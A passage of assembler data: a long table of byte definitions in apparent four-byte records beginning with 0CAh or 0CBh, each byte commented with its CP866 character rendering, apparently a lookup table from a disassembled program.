		db  8Ch	; ▄
		db 0F2h	; Р
		db 0CAh	; й
		db 0DDh	; щ
		db  91h	; ▒
		db    1	;  
		db 0CAh	; й
		db 0DDh	; щ
		db  96h	; √
		db    2	;  
		db 0CAh	; й
		db 0DDh	; щ
		db  97h	; ≈
		db  22h	; "
		db 0CAh	; й
		db 0DDh	; щ
		db  99h	; ≥
		db  0Bh	;  
		db 0CAh	; й
		db 0DDh	; щ
		db  99h	; ≥
		db  0Ch	;  
		db 0CAh	; й
		db 0DDh	; щ
		db  9Bh	; ⌡
		db  0Bh	;  
		db 0CAh	; й
		db 0DDh	; щ
		db  10h	;  
		db    4	;  
		db 0CAh	; й
		db 0DDh	; щ
		db 0A2h	; ╒
		db    1	;  
		db 0CAh	; й
		db 0DDh	; щ
		db 0A2h	; ╒
		db    2	;  
		db 0CAh	; й
		db 0DDh	; щ
		db 0AAh	; ╙
		db    4	;  
		db 0CAh	; й
		db 0DDh	; щ
		db 0BCh	; ╪
		db    2	;  
		db 0CAh	; й
		db 0DDh	; щ
		db 0BDh	; Ґ
		db 0FEh	; Ч
		db 0CAh	; й
		db 0DDh	; щ
		db 0C1h	; а
		db  0Ch	;  
		db 0CAh	; й
		db 0DDh	; щ
		db 0C6h	; ф
		db  14h	;  
		db 0CAh	; й
		db 0DDh	; щ
		db 0C7h	; г
		db  81h	; │
		db 0CAh	; й
		db 0DDh	; щ
		db    2	;  
		db  60h	; `
		db 0CAh	; й
		db 0DDh	; щ
		db    2	;  
		db  61h	; a
		db 0CAh	; й
		db 0DDh	; щ
		db  14h	;  
		db    2	;  
		db 0CAh	; й
		db 0DDh	; щ
		db 0CAh	; й
		db    2	;  
		db 0CAh	; й
		db 0DDh	; щ
		db 0D6h	; ж
		db    3	;  
		db 0CAh	; й
		db 0DDh	; щ
		db 0DAh	; з
		db    1	;  
		db 0CAh	; й
		db 0DDh	; щ
		db  16h	;  
		db    3	;  
		db 0CAh	; й
		db 0DDh	; щ
		db  17h	;  
		db  0Ah	;  
		db 0CAh	; й
		db 0DDh	; щ
		db  17h	;  
		db  0Bh	;  
		db 0CAh	; й
		db 0DDh	; щ
		db 0F8h	; Ь
		db  41h	; A
		db 0CAh	; й
		db 0DDh	; щ
		db 0F9h	; Ы
		db 0E3h	; Ц
		db 0CAh	; й
		db 0DDh	; щ
		db 0FBh	; Ш
		db  0Bh	;  
		db 0CAh	; й
		db 0DDh	; щ
		db 0FEh	; Ч
		db    3	;  
		db 0CAh	; й
		db 0DDh	; щ
		db  1Bh	;  
		db    2	;  
		db 0CAh	; й
		db 0DDh	; щ
		db  1Fh	;  
		db    1	;  
		db 0CAh	; й
		db 0DDh	; щ
		db  1Fh	;  
		db    2	;  
		db 0CAh	; й
		db 0DDh	; щ
		db    4	;  
		db  43h	; C
		db 0CAh	; й
		db 0DDh	; щ
		db  28h	; (
		db    1	;  
		db 0CAh	; й
		db 0DDh	; щ
		db  29h	; )
		db    2	;  
		db 0CAh	; й
		db 0DDh	; щ
		db  2Bh	; +
		db  3Bh	; ;
		db 0CAh	; й
		db 0DDh	; щ
		db  2Dh	; -
		db    2	;  
		db 0CAh	; й
		db 0DDh	; щ
		db  2Dh	; -
		db    3	;  
		db 0CAh	; й
		db 0DDh	; щ
		db  2Eh	; .
		db    2	;  
		db 0CAh	; й
		db 0DDh	; щ
		db  33h	; 3
		db    2	;  
		db 0CAh	; й
		db 0DDh	; щ
		db  34h	; 4
		db    1	;  
		db 0CAh	; й
		db 0DDh	; щ
		db  37h	; 7
		db  82h	; ┌
		db 0CAh	; й
		db 0DDh	; щ
		db  38h	; 8
		db    3	;  
		db 0CAh	; й
		db 0DDh	; щ
		db    6	;  
		db    6	;  
		db 0CAh	; й
		db 0DDh	; щ
		db    8	;  
		db  8Eh	; ▌
		db 0CAh	; й
		db 0E0h	; Ю
		db  40h	; @
		db  96h	; √
		db 0CAh	; й
		db 0E0h	; Ю
		db  40h	; @
		db  42h	; B
		db 0CAh	; й
		db 0E1h	; А
		db  82h	; ┌
		db    1	;  
		db 0CAh	; й
		db 0E1h	; А
		db 0A2h	; ╒
		db    1	;  
		db 0CAh	; й
		db 0E1h	; А
		db  31h	; 1
		db 0E6h	; Ф
		db 0CAh	; й
		db 0E1h	; А
		db  5Eh	; ^
		db 0E1h	; А
		db 0CAh	; й
		db 0E2h	; Б
		db  68h	; h
		db  82h	; ┌
		db 0CAh	; й
		db 0E2h	; Б
		db  56h	; V
		db    5	;  
		db 0CAh	; й
		db 0E2h	; Б
		db  5Bh	; [
		db    1	;  
		db 0CAh	; й
		db 0E2h	; Б
		db  5Bh	; [
		db 0E2h	; Б
		db 0CAh	; й
		db 0E3h	; Ц
		db  16h	;  
		db    5	;  
		db 0CAh	; й
		db 0E4h	; Д
		db    1	;  
		db  22h	; "
		db 0CAh	; й
		db 0E4h	; Д
		db  80h	; ─
		db 0C2h	; б
		db 0CAh	; й
		db 0E4h	; Д
		db  9Ah	;  
		db 0E1h	; А
		db 0CAh	; й
		db 0E5h	; Е
		db 0C6h	; ф
		db  78h	; x
		db 0CAh	; й
		db 0E5h	; Е
		db  22h	; "
		db  25h	; %
		db 0CAh	; й
		db  17h	;  
		db 0BEh	; Ў
		db  0Ah	;  
		db 0CAh	; й
		db  17h	;  
		db 0BEh	; Ў
		db  0Bh	;  
		db 0CAh	; й
		db 0E7h	; Г
		db    1	;  
		db    1	;  
		db 0CAh	; й
		db 0E7h	; Г
		db    1	;  
		db    2	;  
		db 0CAh	; й
		db 0E7h	; Г
		db  6Ah	; j
		db  48h	; H
		db 0CAh	; й
		db 0E7h	; Г
		db  0Ch	;  
		db    4	;  
		db 0CAh	; й
		db 0E7h	; Г
		db  80h	; ─
		db  0Ah	;  
		db 0CAh	; й
		db 0E7h	; Г
		db  80h	; ─
		db  0Dh	;  
		db 0CAh	; й
		db 0E7h	; Г
		db 0A0h	; ═
		db  0Ah	;  
		db 0CAh	; й
		db 0E7h	; Г
		db  12h	;  
		db    1	;  
		db 0CAh	; й
		db 0E7h	; Г
		db  13h	;  
		db    1	;  
		db 0CAh	; й
		db 0E7h	; Г
		db 0C0h	; ю
		db  2Bh	; +
		db 0CAh	; й
		db 0E7h	; Г
		db 0D3h	; с
		db  0Ch	;  
		db 0CAh	; й
		db 0E7h	; Г
		db  16h	;  
		db    1	;  
		db 0CAh	; й
		db 0E7h	; Г
		db  16h	;  
		db    9	;  
		db 0CAh	; й
		db 0E7h	; Г
		db  17h	;  
		db    1	;  
		db 0CAh	; й
		db 0E7h	; Г
		db 0E8h	; Х
		db  61h	; a
		db 0CAh	; й
		db 0E7h	; Г
		db  20h	;  
		db  21h	; !
		db 0CAh	; й
		db 0E7h	; Г
		db  24h	; $
		db    1	;  
		db 0CAh	; й
		db 0E7h	; Г
		db  28h	; (
		db    2	;  
		db 0CAh	; й
		db 0E7h	; Г
		db  2Ch	; ,
		db    2	;  
		db 0CAh	; й
		db 0E7h	; Г
		db  2Ch	; ,
		db    3	;  
		db 0CAh	; й
		db 0E7h	; Г
		db  33h	; 3
		db    1	;  
		db 0CAh	; й
		db 0E7h	; Г
		db  36h	; 6
		db    5	;  
		db 0CAh	; й
		db 0E7h	; Г
		db  38h	; 8
		db    1	;  
		db 0CAh	; й
		db 0E7h	; Г
		db  38h	; 8
		db    2	;  
		db 0CAh	; й
		db 0E7h	; Г
		db    6	;  
		db    2	;  
		db 0CAh	; й
		db 0E7h	; Г
		db  48h	; H
		db  0Ah	;  
		db 0CAh	; й
		db 0E7h	; Г
		db  52h	; R
		db    1	;  
		db 0CAh	; й
		db 0E7h	; Г
		db  5Dh	; ]
		db    1	;  
		db 0CAh	; й
		db 0E7h	; Г
		db  61h	; a
		db    1	;  
		db 0CAh	; й
		db 0E8h	; Х
		db  7Ch	; |
		db    6	;  
		db 0CAh	; й
		db 0E8h	; Х
		db  8Ah	; ┼
		db  23h	; #
		db 0CAh	; й
		db 0E8h	; Х
		db 0A9h	; ╘
		db  91h	; ▒
		db 0CAh	; й
		db 0E8h	; Х
		db 0ABh	; ╚
		db    6	;  
		db 0CAh	; й
		db 0E8h	; Х
		db    2	;  
		db  22h	; "
		db 0CAh	; й
		db 0E8h	; Х
		db    2	;  
		db  23h	; #
		db 0CAh	; й
		db 0E8h	; Х
		db    2	;  
		db  24h	; $
		db 0CAh	; й
		db 0E8h	; Х
		db    2	;  
		db  25h	; %
		db 0CAh	; й
		db 0E8h	; Х
		db 0E6h	; Ф
		db    7	;  
		db 0CAh	; й
		db 0E8h	; Х
		db  24h	; $
		db  23h	; #
		db 0CAh	; й
		db 0E8h	; Х
		db  3Bh	; ;
		db  1Dh	;  
		db 0CAh	; й
		db 0E8h	; Х
		db  47h	; G
		db  24h	; $
		db 0CAh	; й
		db 0E8h	; Х
		db  47h	; G
		db  25h	; %
		db 0CAh	; й
		db 0EAh	; Й
		db 0E9h	; И
		db  67h	; g
		db 0CAh	; й
		db 0EAh	; Й
		db  1Eh	;  
		db  33h	; 3
		db 0CAh	; й
		db 0EBh	; К
		db  4Fh	; O
		db 0E3h	; Ц
		db 0CAh	; й
		db 0EBh	; К
		db  55h	; U
		db  64h	; d
		db 0CAh	; й
		db 0ECh	; Л
		db 0BCh	; ╪
		db 0FAh	; З
		db 0CAh	; й
		db 0ECh	; Л
		db 0BCh	; ╪
		db 0FBh	; Ш
		db 0CAh	; й
		db 0EDh	; М
		db  0Dh	;  
		db  42h	; B
		db 0CAh	; й
		db 0EDh	; М
		db  84h	; └
		db    6	;  
		db 0CAh	; й
		db 0EFh	; О
		db  71h	; q
		db  12h	;  
		db 0CAh	; й
		db 0EFh	; О
		db  71h	; q
		db  1Ah	;  
		db 0CAh	; й
		db 0EFh	; О
		db  80h	; ─
		db    3	;  
		db 0CAh	; й
		db 0EFh	; О
		db  80h	; ─
		db    6	;  
		db 0CAh	; й
		db 0EFh	; О
		db  82h	; ┌
		db  11h	;  
		db 0CAh	; й
		db 0EFh	; О
		db  92h	; ▓
		db    2	;  
		db 0CAh	; й
		db 0EFh	; О
		db 0CEh	; н
		db  0Ah	;  
		db 0CAh	; й
		db 0EFh	; О
		db 0CEh	; н
		db    2	;  
		db 0CAh	; й
		db 0EFh	; О
		db 0CEh	; н
		db    9	;  
		db 0CAh	; й
		db 0EFh	; О
		db  20h	;  
		db  55h	; U
		db 0CAh	; й
		db 0EFh	; О
		db  3Dh	; =
		db  3Dh	; =
		db 0CAh	; й
		db  18h	;  
		db  8Ch	; ▄
		db    1	;  
		db 0CAh	; й
		db 0F1h	; Я
		db    1	;  
		db  84h	; └
		db 0CAh	; й
		db 0F1h	; Я
		db    1	;  
		db 0D9h	; ы
		db 0CAh	; й
		db 0F1h	; Я
		db  64h	; d
		db    1	;  
		db 0CAh	; й
		db 0F1h	; Я
		db  64h	; d
		db    2	;  
		db 0CAh	; й
		db 0F1h	; Я
		db  66h	; f
		db    1	;  
		db 0CAh	; й
		db 0F1h	; Я
		db  70h	; p
		db    1	;  
		db 0CAh	; й
		db 0F1h	; Я
		db  73h	; s
		db  8Ah	; ┼
		db 0CAh	; й
		db 0F1h	; Я
		db  76h	; v
		db  11h	;  
		db 0CAh	; й
		db 0F1h	; Я
		db  84h	; └
		db  22h	; "
		db 0CAh	; й
		db 0F1h	; Я
		db  89h	; ┴
		db  41h	; A
		db 0CAh	; й
		db 0F1h	; Я
		db  8Fh	; ▐
		db 0D1h	; я
		db 0CAh	; й
		db 0F1h	; Я
		db  91h	; ▒
		db  7Eh	; ~
		db 0CAh	; й
		db 0F1h	; Я
		db  0Fh	;  
		db    1	;  
		db 0CAh	; й
		db 0F1h	; Я
		db  98h	; ≤
		db  43h	; C
		db 0CAh	; й
		db 0F1h	; Я
		db  9Dh	; ²
		db  22h	; "
		db 0CAh	; й
		db 0F1h	; Я
		db  9Eh	; ·
		db 0E2h	; Б
		db 0CAh	; й
		db 0F1h	; Я
		db  10h	;  
		db  14h	;  
		db 0CAh	; й
		db 0F1h	; Я
		db  10h	;  
		db  15h	;  
		db 0CAh	; й
		db 0F1h	; Я
		db 0A3h	; ё
		db    3	;  
		db 0CAh	; й
		db 0F1h	; Я
		db 0A7h	; ї
		db  12h	;  
		db 0CAh	; й
		db 0F1h	; Я
		db 0ABh	; ╚
		db  64h	; d
		db 0CAh	; й
		db 0F1h	; Я
		db 0B1h	; ╠
		db  41h	; A
		db 0CAh	; й
		db 0F1h	; Я
		db  13h	;  
		db 0FBh	; Ш
		db 0CAh	; й
		db 0F1h	; Я
		db    2	;  
		db    3	;  
		db 0CAh	; й
		db 0F1h	; Я
		db  15h	;  
		db  21h	; !
		db 0CAh	; й
		db 0F1h	; Я
		db  18h	;  
		db    2	;  
		db 0CAh	; й
		db 0F1h	; Я
		db  19h	;  
		db    1	;  
		db 0CAh	; й
		db 0F1h	; Я
		db  19h	;  
		db    3	;  
		db 0CAh	; й
		db 0F1h	; Я
		db 0FCh	; Э
		db    2	;  
		db 0CAh	; й
		db 0F1h	; Я
		db  1Ch	;  
		db    3	;  
		db 0CAh	; й
		db 0F1h	; Я
		db    3	;  
		db  0Ch	;  
		db 0CAh	; й
		db 0F1h	; Я
		db  1Fh	;  
		db 0F5h	; У
		db 0CAh	; й
		db 0F1h	; Я
		db  20h	;  
		db    5	;  
		db 0CAh	; й
		db 0F1h	; Я
		db  21h	; !
		db  0Bh	;  
		db 0CAh	; й
		db 0F1h	; Я
		db  23h	; #
		db  0Ah	;  
		db 0CAh	; й
		db 0F1h	; Я
		db  24h	; $
		db 0A5h	; ╔
		db 0CAh	; й
		db 0F1h	; Я
		db    4	;  
		db    6	;  
		db 0CAh	; й
		db 0F1h	; Я
		db    5	;  
		db    2	;  
		db 0CAh	; й
		db 0F1h	; Я
		db  38h	; 8
		db    2	;  
		db 0CAh	; й
		db 0F1h	; Я
		db  3Ah	; :
		db    2	;  
		db 0CAh	; й
		db 0F1h	; Я
		db    6	;  
		db    2	;  
		db 0CAh	; й
		db 0F1h	; Я
		db  3Fh	; ?
		db    1	;  
		db 0CAh	; й
		db 0F1h	; Я
		db  40h	; @
		db    2	;  
		db 0CAh	; й
		db 0F1h	; Я
		db  40h	; @
		db    3	;  
		db 0CAh	; й
		db 0F1h	; Я
		db  44h	; D
		db  22h	; "
		db 0CAh	; й
		db 0F1h	; Я
		db  44h	; D
		db  26h	; &
		db 0CAh	; й
		db 0F1h	; Я
		db  45h	; E
		db    1	;  
		db 0CAh	; й
		db 0F1h	; Я
		db  46h	; F
		db  43h	; C
		db 0CAh	; й
		db 0F1h	; Я
		db  47h	; G
		db  18h	;  
		db 0CAh	; й
		db 0F1h	; Я
		db  49h	; I
		db  82h	; ┌
		db 0CAh	; й
		db 0F1h	; Я
		db  4Ah	; J
		db    2	;  
		db 0CAh	; й
		db 0F1h	; Я
		db  4Dh	; M
		db    2	;  
		db 0CAh	; й
		db 0F1h	; Я
		db  4Eh	; N
		db 0E1h	; А
		db 0CAh	; й
		db 0F1h	; Я
		db  55h	; U
		db  22h	; "
		db 0CAh	; й
		db 0F1h	; Я
		db  58h	; X
		db 0F9h	; Ы
		db 0CAh	; й
		db 0F4h	; Т
		db  16h	;  
		db  0Bh	;  
		db 0CAh	; й
		db 0F5h	; У
		db  9Fh	; ÷
		db    1	;  
		db 0CAh	; й
		db 0F5h	; У
		db  9Fh	; ÷
		db  11h	;  
		db 0CAh	; й
		db 0F6h	; Ж
		db  80h	; ─
		db  0Ah	;  
		db 0CAh	; й
		db 0F6h	; Ж
		db  80h	; ─
		db  21h	; !
		db 0CAh	; й
		db 0F6h	; Ж
		db  80h	; ─
		db  22h	; "
		db 0CAh	; й
		db 0F6h	; Ж
		db 0A2h	; ╒
		db  21h	; !
		db 0CAh	; й
		db 0F6h	; Ж
		db 0F8h	; Ь
		db  32h	; 2
		db 0CAh	; й
		db 0F7h	; В
		db  2Eh	; .
		db    3	;  
		db 0CAh	; й
		db 0F7h	; В
		db  3Ah	; :
		db    1	;  
		db 0CAh	; й
		db 0F7h	; В
		db  53h	; S
		db  7Ch	; |
		db 0CAh	; й
		db 0F7h	; В
		db  53h	; S
		db  7Dh	; }
		db 0CAh	; й
		db 0F8h	; Ь
		db    0	;  
		db    3	;  
		db 0CAh	; й
		db 0F8h	; Ь
		db    0	;  
		db  22h	; "
		db 0CAh	; й
		db 0F8h	; Ь
		db    0	;  
		db  3Bh	; ;
		db 0CAh	; й
		db 0F8h	; Ь
		db  73h	; s
		db 0C3h	; ц
		db 0CAh	; й
		db 0F8h	; Ь
		db  73h	; s
		db 0C5h	; е
		db 0CAh	; й
		db 0F8h	; Ь
		db  8Eh	; ▌
		db  82h	; ┌
		db 0CAh	; й
		db 0F8h	; Ь
		db    2	;  
		db 0C9h	; и
		db 0CAh	; й
		db 0F8h	; Ь
		db    2	;  
		db 0E2h	; Б
		db 0CAh	; й
		db 0F8h	; Ь
		db 0F1h	; Я
		db  84h	; └
		db 0CAh	; й
		db 0F8h	; Ь
		db 0F1h	; Я
		db  85h	; ┘
		db 0CAh	; й
		db 0F8h	; Ь
		db 0F5h	; У
		db    6	;  
		db 0CAh	; й
		db 0F9h	; Ы
		db  11h	;  
		db  11h	;  
		db 0CAh	; й
		db 0F9h	; Ы
		db  13h	;  
		db    1	;  
		db 0CAh	; й
		db 0F9h	; Ы
		db    4	;  
		db  64h	; d
		db 0CAh	; й
		db  19h	;  
		db 0DCh	; э
		db  0Bh	;  
		db 0CAh	; й
		db 0FBh	; Ш
		db    0	;  
		db    2	;  
		db 0CAh	; й
		db 0FBh	; Ш
		db  89h	; ┴
		db  41h	; A
		db 0CAh	; й
		db 0FBh	; Ш
		db  89h	; ┴
		db  42h	; B
		db 0CAh	; й
		db 0FBh	; Ш
		db  90h	; ░
		db  42h	; B
		db 0CAh	; й
		db 0FBh	; Ш
		db 0B8h	; ╦
		db  21h	; !
		db 0CAh	; й
		db 0FBh	; Ш
		db 0B9h	; ╧
		db  22h	; "
		db 0CAh	; й
		db 0FBh	; Ш
		db 0C3h	; ц
		db  0Bh	;  
		db 0CAh	; й
		db 0FBh	; Ш
		db 0F4h	; Т
		db  52h	; R
		db 0CAh	; й
		db 0FBh	; Ш
		db  2Fh	; /
		db    1	;  
		db 0CAh	; й
		db 0FBh	; Ш
		db  58h	; X
		db    1	;  
		db 0CAh	; й
		db  1Ah	;  
		db 0E0h	; Ю
		db 0E2h	; Б
		db 0CAh	; й
		db  1Ch	;  
		db    0	;  
		db    1	;  
		db 0CAh	; й
		db  1Dh	;  
		db  12h	;  
		db    1	;  
		db 0CAh	; й
		db  1Dh	;  
		db  20h	;  
		db    1	;  
		db 0CAh	; й
		db  1Eh	;  
		db  8Fh	; ▐
		db  0Bh	;  
		db 0CAh	; й
		db  1Eh	;  
		db 0BBh	; ╩
		db  61h	; a
		db 0CAh	; й
		db  1Eh	;  
		db  32h	; 2
		db  32h	; 2
		db 0CAh	; й
		db  1Fh	;  
		db  80h	; ─
		db    2	;  
		db 0CAh	; й
		db  1Fh	;  
		db 0B6h	; І
		db    2	;  
		db 0CAh	; й
		db  1Fh	;  
		db 0BAh	; ╨
		db 0CEh	; н
		db 0CAh	; й
		db  1Fh	;  
		db 0BAh	; ╨
		db 0D1h	; я
		db 0CAh	; й
		db  1Fh	;  
		db 0D3h	; с
		db  65h	; e
		db 0CAh	; й
		db  1Fh	;  
		db 0DEh	; ч
		db  0Ah	;  
		db 0CAh	; й
		db  20h	;  
		db  0Ah	;  
		db    2	;  
		db 0CAh	; й
		db  20h	;  
		db  0Ch	;  
		db    1	;  
		db 0CAh	; й
		db  20h	;  
		db  7Ch	; |
		db 0D8h	; ь
		db 0CAh	; й
		db  20h	;  
		db  7Ch	; |
		db 0D9h	; ы
		db 0CAh	; й
		db  20h	;  
		db  7Ch	; |
		db 0DAh	; з
		db 0CAh	; й
		db  20h	;  
		db  7Ch	; |
		db 0DBh	; ш
		db 0CAh	; й
		db  20h	;  
		db 0BFh	; ©
		db    2	;  
		db 0CAh	; й
		db  20h	;  
		db 0FAh	; З
		db    1	;  
		db 0CAh	; й
		db  20h	;  
		db 0FCh	; Э
		db  25h	; %
		db 0CAh	; й
		db  20h	;  
		db  30h	; 0
		db  2Ch	; ,
		db 0CAh	; й
		db  20h	;  
		db  50h	; P
		db    1	;  
		db 0CAh	; й
		db  21h	; !
		db 0D3h	; с
		db  21h	; !
		db 0CAh	; й
		db  21h	; !
		db 0F2h	; Р
		db  13h	;  
		db 0CAh	; й
		db  21h	; !
		db  48h	; H
		db    3	;  
		db 0CAh	; й
		db  21h	; !
		db  48h	; H
		db    4	;  
		db 0CAh	; й
		db  25h	; %
		db 0F5h	; У
		db  11h	;  
		db 0CAh	; й
		db  25h	; %
		db 0F5h	; У
		db  14h	;  
		db 0CAh	; й
		db  26h	; &
		db  80h	; ─
		db  3Ah	; :
		db 0CAh	; й
		db  29h	; )
		db  6Eh	; n
		db  42h	; B
		db 0CAh	; й
		db  29h	; )
		db  5Eh	; ^
		db    3	;  
		db 0CAh	; й
		db  2Ch	; ,
		db  90h	; ░
		db  21h	; !
		db 0CAh	; й
		db  2Ch	; ,
		db 0CAh	; й
		db    2	;  
		db 0CAh	; й
		db  2Ch	; ,
		db 0CAh	; й
		db    3	;  
		db 0CAh	; й
		db  2Ch	; ,
		db 0CCh	; л
		db  43h	; C
		db 0CAh	; й
		db  2Ch	; ,
		db 0CCh	; л
		db  44h	; D
		db 0CAh	; й
		db  2Dh	; -
		db 0BCh	; ╪
		db  13h	;  
		db 0CAh	; й
		db  2Fh	; /
		db  84h	; └
		db    1	;  
		db 0CAh	; й
		db  2Fh	; /
		db  84h	; └
		db    6	;  
		db 0CAh	; й
		db  33h	; 3
		db  80h	; ─
		db  32h	; 2
		db 0CAh	; й
		db  33h	; 3
		db  83h	; ┐
		db    2	;  
		db 0CAh	; й
		db  33h	; 3
		db  9Fh	; ÷
		db 0E8h	; Х
		db 0CAh	; й
		db  33h	; 3
		db 0D1h	; я
		db    5	;  
		db 0CAh	; й
		db  33h	; 3
		db 0D1h	; я
		db    6	;  
		db 0CAh	; й
		db  33h	; 3
		db 0D4h	; т
		db    5	;  
		db 0CAh	; й
		db  35h	; 5
		db  24h	; $
		db 0BEh	; Ў
		db 0CAh	; й
		db  36h	; 6
		db    1	;  
		db  12h	;  
		db 0CAh	; й
		db  36h	; 6
		db    1	;  
		db  1Eh	;  
		db 0CAh	; й
		db    6	;  
		db  64h	; d
		db    1	;  
		db 0CAh	; й
		db    6	;  
		db  54h	; T
		db  16h	;  
		db 0CAh	; й
		db  3Dh	; =
		db 0C0h	; ю
		db  0Ah	;  
		db 0CAh	; й
		db  3Dh	; =
		db 0C0h	; ю
		db  0Bh	;  
		db 0CAh	; й
		db  3Dh	; =
		db 0D4h	; т
		db    4	;  
		db 0CAh	; й
		db  3Dh	; =
		db 0D8h	; ь
		db  0Bh	;  
		db 0CAh	; й
		db  3Dh	; =
		db 0E1h	; А
		db  21h	; !
		db 0CAh	; й
		db  3Dh	; =
		db 0F0h	; П
		db    1	;  
		db 0CAh	; й
		db  3Dh	; =
		db 0F8h	; Ь
		db    1	;  
		db 0CAh	; й
		db  3Dh	; =
		db  40h	; @
		db    2	;  
		db 0CAh	; й
		db  43h	; C
		db 0F0h	; П
		db 0DDh	; щ
		db 0CAh	; й
		db  43h	; C
		db 0F0h	; П
		db 0DEh	; ч
		db 0CAh	; й
		db    7	;  
		db  0Fh	;  
		db  0Ah	;  
		db 0CAh	; й
		db    7	;  
		db  0Fh	;  
		db  0Dh	;  
		db 0CAh	; й
		db    7	;  
		db  0Fh	;  
		db  3Dh	; =
		db 0CAh	; й
		db  47h	; G
		db  80h	; ─
		db  25h	; %
		db 0CAh	; й
		db  47h	; G
		db  81h	; │
		db  21h	; !
		db 0CAh	; й
		db  4Bh	; K
		db  81h	; │
		db  65h	; e
		db 0CAh	; й
		db  4Bh	; K
		db  81h	; │
		db  66h	; f
		db 0CAh	; й
		db  4Eh	; N
		db  61h	; a
		db    2	;  
		db 0CAh	; й
		db  4Fh	; O
		db  40h	; @
		db  15h	;  
		db 0CAh	; й
		db  4Fh	; O
		db  40h	; @
		db  1Ah	;  
		db 0CAh	; й
		db  51h	; Q
		db  60h	; `
		db  4Ch	; L
		db 0CAh	; й
		db  51h	; Q
		db  60h	; `
		db  52h	; R
		db 0CAh	; й
		db  52h	; R
		db    1	;  
		db    1	;  
		db 0CAh	; й
		db  52h	; R
		db    1	;  
		db    2	;  
		db 0CAh	; й
		db  53h	; S
		db  40h	; @
		db    2	;  
		db 0CAh	; й
		db  53h	; S
		db  40h	; @
		db    3	;  
		db 0CAh	; й
		db  54h	; T
		db  92h	; ▓
		db    1	;  
		db 0CAh	; й
		db  54h	; T
		db 0FFh	;  
		db    1	;  
		db 0CAh	; й
		db  54h	; T
		db 0FFh	;  
		db 0E3h	; Ц
		db 0CAh	; й
		db  57h	; W
		db  9Fh	; ÷
		db    3	;  
		db 0CAh	; й
		db  57h	; W
		db  9Fh	; ÷
		db    5	;  
		db 0CAh	; й
		db  60h	; `
		db    0	;  
		db  85h	; ┘
		db 0CAh	; й
		db  60h	; `
		db  80h	; ─
		db  44h	; D
		db 0CAh	; й
		db  60h	; `
		db 0C7h	; г
		db  84h	; └
		db 0CAh	; й
		db  60h	; `
		db 0C7h	; г
		db  85h	; ┘
		db 0CBh	; к
		db    0	;  
		db  65h	; e
		db  64h	; d
		db 0CBh	; к
		db    0	;  
		db 0ACh	; ╛
		db  62h	; b
		db 0CBh	; к
		db    0	;  
		db  19h	;  
		db 0A4h	; є
		db 0CBh	; к
		db    1	;  
		db 0BFh	; ©
		db  58h	; X
		db 0CBh	; к
		db    1	;  
		db 0CBh	; к
		db    1	;  
		db 0CBh	; к
		db    1	;  
		db 0CBh	; к
		db    4	;  
		db 0CBh	; к
		db    1	;  
		db 0DAh	; з
		db  0Ah	;  
		db 0CBh	; к
		db    1	;  
		db 0EDh	; М
		db  1Fh	;  
		db 0CBh	; к
		db    1	;  
		db 0EDh	; М
		db  21h	; !
		db 0CBh	; к
		db    1	;  
		db  44h	; D
		db  1Eh	;  
		db 0CBh	; к
		db    1	;  
		db  45h	; E
		db  1Eh	;  
		db 0CBh	; к
		db    1	;  
		db  4Bh	; K
		db  36h	; 6
		db 0CBh	; к
		db  0Ah	;  
		db  6Eh	; n
		db  65h	; e
		db 0CBh	; к
		db  0Ah	;  
		db 0E7h	; Г
		db 0FEh	; Ч
		db 0CBh	; к
		db  65h	; e
		db  80h	; ─
		db  6Dh	; m
		db 0CBh	; к
		db  65h	; e
		db  80h	; ─
		db  6Eh	; n
		db 0CBh	; к
		db  66h	; f
		db  9Dh	; ²
		db  5Eh	; ^
		db 0CBh	; к
		db  66h	; f
		db  27h	; '
		db    1	;  
		db 0CBh	; к
		db  0Bh	;  
		db  72h	; r
		db    1	;  
		db 0CBh	; к
		db  0Bh	;  
		db  72h	; r
		db  19h	;  
		db 0CBh	; к
		db  0Bh	;  
		db  81h	; │
		db  19h	;  
		db 0CBh	; к
		db  0Bh	;  
		db  8Ch	; ▄
		db  1Eh	;  
		db 0CBh	; к
		db  0Bh	;  
		db 0E2h	; Б
		db    5	;  
		db 0CBh	; к
		db  0Bh	;  
		db 0E2h	; Б
		db    6	;  
		db 0CBh	; к
		db  0Bh	;  
		db  45h	; E
		db  64h	; d
		db 0CBh	; к
		db  0Bh	;  
		db  48h	; H
		db    1	;  
		db 0CBh	; к
		db  0Bh	;  
		db  48h	; H
		db    2	;  
		db 0CBh	; к
		db  6Fh	; o
		db    0	;  
		db  0Ah	;  
		db 0CBh	; к
		db  6Fh	; o
		db    0	;  
		db  0Dh	;  
		db 0CBh	; к
		db  74h	; t
		db    1	;  
		db  5Eh	; ^
		db 0CBh	; к
		db  0Ch	;  
		db  90h	; ░
		db    6	;  
		db 0CBh	; к
		db  0Ch	;  
		db  90h	; ░
		db    7	;  
		db 0CBh	; к
		db  0Ch	;  
		db  16h	;  
		db  0Ah	;  
		db 0CBh	; к
		db  0Ch	;  
		db  50h	; P
		db    1	;  
		db 0CBh	; к
		db  0Ch	;  
		db  50h	; P
		db    2	;  
		db 0CBh	; к
		db  0Ch	;  
		db  56h	; V
		db  0Ah	;  
		db 0CBh	; к
		db  0Ch	;  
		db  56h	; V
		db    2	;  
		db 0CBh	; к
		db  78h	; x
		db  5Ah	; Z
		db  28h	; (
		db 0CBh	; к
		db  78h	; x
		db  5Ah	; Z
		db  3Ch	; <
		db 0CBh	; к
		db  78h	; x
		db  5Ah	; Z
		db  5Ah	; Z
		db 0CBh	; к
		db  79h	; y
		db  82h	; ┌
		db  27h	; '
		db 0CBh	; к
		db  79h	; y
		db  82h	; ┌
		db  28h	; (
		db 0CBh	; к
		db  79h	; y
		db  10h	;  
		db  78h	; x
		db 0CBh	; к
		db  79h	; y
		db  10h	;  
		db  55h	; U
		db 0CBh	; к
		db  0Dh	;  
		db 0AEh	; ў
		db    1	;  
		db 0CBh	; к
		db  0Dh	;  
		db 0AEh	; ў
		db  0Fh	;  
		db 0CBh	; к
		db  0Dh	;  
		db 0ECh	; Л
		db    2	;  
		db 0CBh	; к
		db  0Dh	;  
		db 0ECh	; Л
		db    4	;  
		db 0CBh	; к
		db  0Dh	;  
		db  19h	;  
		db    1	;  
		db 0CBh	; к
		db  0Dh	;  
		db  19h	;  
		db    2	;  
		db 0CBh	; к
		db  84h	; └
		db  6Ah	; j
		db  0Ah	;  
		db 0CBh	; к
		db  84h	; └
		db  5Fh	; _
		db    7	;  
		db 0CBh	; к
		db  84h	; └
		db  5Fh	; _
		db    8	;  
		db 0CBh	; к
		db  86h	; ├
		db  40h	; @
		db  42h	; B
		db 0CBh	; к
		db  86h	; ├
		db  41h	; A
		db  42h	; B
		db 0CBh	; к
